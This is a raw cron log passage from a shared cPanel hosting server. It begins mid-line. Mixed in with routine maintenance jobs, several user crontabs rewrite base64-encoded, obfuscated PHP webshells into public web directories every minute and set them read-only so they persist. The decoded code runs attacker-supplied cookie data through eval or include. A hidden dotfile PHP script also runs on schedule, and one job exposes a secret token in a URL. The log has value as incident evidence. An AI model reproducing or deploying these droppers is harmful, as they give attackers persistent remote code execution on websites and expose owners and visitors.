ZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:04:02 medusa CROND[1777]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:04:02 medusa CROND[1778]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:04:02 medusa CROND[1779]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:04:02 medusa CROND[1781]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:04:02 medusa CROND[1783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:04:02 medusa CROND[1786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:04:02 medusa CROND[1789]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:04:02 medusa CROND[1790]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:05:01 medusa CROND[24772]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:05:01 medusa CROND[24796]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:05:01 medusa CROND[24830]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:05:02 medusa CROND[24905]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:05:02 medusa CROND[24906]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 06:05:02 medusa CROND[24907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:05:02 medusa CROND[24910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:05:02 medusa CROND[24912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:05:02 medusa CROND[24913]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:05:02 medusa CROND[24915]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 06:05:02 medusa CROND[24920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:05:02 medusa CROND[24921]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:05:02 medusa CROND[24924]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:05:02 medusa CROND[24925]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:05:02 medusa CROND[24928]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:05:02 medusa CROND[24923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:05:02 medusa CROND[24919]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:05:02 medusa CROND[24932]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:05:02 medusa CROND[24933]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:05:02 medusa CROND[24926]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:05:02 medusa CROND[24943]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:05:02 medusa CROND[24929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:05:02 medusa CROND[24917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:05:02 medusa CROND[24945]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:06:01 medusa CROND[15690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:06:01 medusa CROND[15692]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:06:01 medusa CROND[15691]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:06:01 medusa CROND[15693]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:06:01 medusa CROND[15694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:06:01 medusa CROND[15696]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:06:01 medusa CROND[15698]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:06:01 medusa CROND[15699]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:06:01 medusa CROND[15697]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:06:01 medusa CROND[15695]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:06:01 medusa CROND[15700]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:06:01 medusa CROND[15703]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:06:01 medusa CROND[15704]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
